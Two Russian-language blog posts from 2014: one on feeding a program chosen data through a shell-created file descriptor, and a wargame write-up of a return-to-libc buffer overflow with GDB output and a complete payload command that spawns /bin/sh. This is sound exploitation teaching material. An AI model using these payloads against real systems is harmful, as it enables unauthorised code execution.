четверг, 16 октября 2014 г.

File Descriptors

Снова абстрактная ситуация : есть приложение, некоторый функционал которого работает с файловым дескриптором полученным как параметр извне. Другими словами, это приложение интерпретирует целое число как номер файлового дескриптора, предположим, мы можем управлять данным параметром и хотим, чтобы приложение считывало из данного дескриптора наши подставные данные.

Проверки в коде опущены по очевидным причинам.
Как известно, после системного вызова fork() дочерний процесс наследует открытые файловые дескрипторы родительского процесса. Пусть в данном случае родительским процессом будет командная оболочка.

Для того чтобы создать файловый дескриптор с произвольным номером (в диапазоне от 3-1023 ) можно выполнить следующую команду :
exec N<> some_file
Где N - номер файлового дескриптора и some_file - файл, который будет ассоциирован с данным дескриптором. Иными словами, мы создаем дескриптор для чтения и записи (использован '<>') файла some_file с номером N.
Убедиться в том, что файловый дескриптор создан можно посмотрев содержимое дирректории
ls /proc/self/fd
Далее просто перенаправляем данные в открытый дескриптор
echo 'some cool data' >&N
Следует понимать, что манупулируя дескриптором, мы на самом деле работаем с содержимым файла с которым дескриптор ассоциирован.
Закрыть файловый дескриптор можно например так
exec N>&-

Теперь вернемся к первоначальному коду, зная как манипулировать дескрипторами, мы можем легко заставить приложение прочитать данные из необходимого нам источника.
exec 3<> some_file && echo 'this is our data' >&3 && ./example 3 && exec 3>&-

вторник, 7 октября 2014 г.

Return to Libc на примере одного Wargame

Опишу простейший вариант данного типа атак.
В первую очередь уязвимый код : (пример взят из IO smashthestack)

Ошибка здесь очевидна - отсутствует проверка размера копируемых данных.
Получаем ROP, но возникает вопрос, куда делать возврат? Стек с нашими данными вполне может быть неисполняемым. В такой ситуации можно использовать Return to Libc.

Итак, для того чтобы осуществить атаку, нам необходимо знать следующие вещи :
  • Адрес функции System из библиотеки Libc
  • Адрес строки, которую передадим System в качестве параметра
Небольшое отступление, так как сейчас мы рассматриваем самый простой вариант данной атаки, то сделаем предположение о базовых адресах загрузки библиотек для уязвимого приложения - а именно о том, что они остаются постоянными при перезапусках.

Начнем по порядку.
Адрес функции можно получить загрузив приложение в отладчик (в данном случае GDB) 
(gdb) p system
$5 = {<text variable, no debug info>} 0xb7eaaf10 <system>
Со строкой все немного сложнее. В качестве строки-параметра System будем использовать переменную окружения. Определить переменную окружения можно например так :
export OWN_SHELL=/bin/sh
Программа сохраняет указатель на окружение в глобальной переменной environ.
(gdb) info variable environ
All variables matching regular expression "environ":

Non-debugging symbols:
0xb7fd0d64  __environ
0xb7fd0d64  _environ
0xb7fd0d64  environ
В данном случае, строка содержащая нужную нам команду является первой в массиве переменных окружения.
(gdb) x /s *environ
0xbffffe82:     "OWN_SHELL=/bin/sh"
В итоге получаем следующее
|---------------------------|-------------------|---------------|---------------| 
|          Data             |    0xb7eaaf10     | system-return |  0xbffffe8с   | 
|---------------------------|-------------------|---------------|---------------| 
Далее просто подбираем размер входного буфера, которого будет достаточно для перезаписи адреса возврата.
В результате получим такую строку для запуска приложения :
vuln `python -c 'print "a"*140 + "\x10\xaf\xea\xb7"+"\xDE\xAD\xBE\xAF"+"\x86\xfe\xff\xbf"'`
Для того, чтобы каждый раз при запуске не происходил segmentation fault можно создать нормальный
call-stack вручную, определив адрес возврата из System в Exit.
vuln `python -c 'print "a"*140 + "\x10\xaf\xea\xb7"+"\x50\xe5\xe9\xb7"+"\x86\xfe\xff\xbf"'`